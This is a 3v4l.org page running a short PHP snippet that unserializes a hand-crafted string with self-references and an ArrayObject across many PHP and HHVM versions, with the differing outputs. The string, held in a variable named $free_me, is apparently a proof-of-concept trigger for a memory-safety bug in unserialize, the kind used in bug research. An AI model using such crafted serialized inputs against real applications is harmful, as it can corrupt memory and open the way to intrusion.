3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $serialized_payload = 'a:3:{i:0;r:1;i:1;r:1;i:2;C:11:"ArrayObject":19:{x:i:0;r:1;;m:a:0:{}}}'; $free_me = unserialize($serialized_payload); var_dump($free_me);
based on Gi2q2
Output for 7.3.0alpha1
Notice: unserialize(): Error at offset 13 of 69 bytes in /in/Z2b6X on line 4 bool(false)
Output for 7.0.0 - 7.2.6
array(3) { [0]=> array(3) { [0]=> *RECURSION* [1]=> *RECURSION* [2]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> *RECURSION* } } [1]=> array(3) { [0]=> *RECURSION* [1]=> *RECURSION* [2]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> *RECURSION* } } [2]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(3) { [0]=> *RECURSION* [1]=> *RECURSION* [2]=> *RECURSION* } } }
Output for hhvm-3.15.4
Notice: Unable to unserialize: [x:i:0;r:1;;m:a:0:{}]. Unknown type 'x'. Warning: Invalid argument supplied for foreach() in /in/Z2b6X on line 4 array(3) { [0]=> NULL [1]=> NULL [2]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> array(0) { } } }
Output for 5.6.0 - 5.6.30
array(3) { [0]=> *RECURSION* [1]=> *RECURSION* [2]=> object(ArrayObject)#1 (1) { ["storage":"ArrayObject":private]=> *RECURSION* } }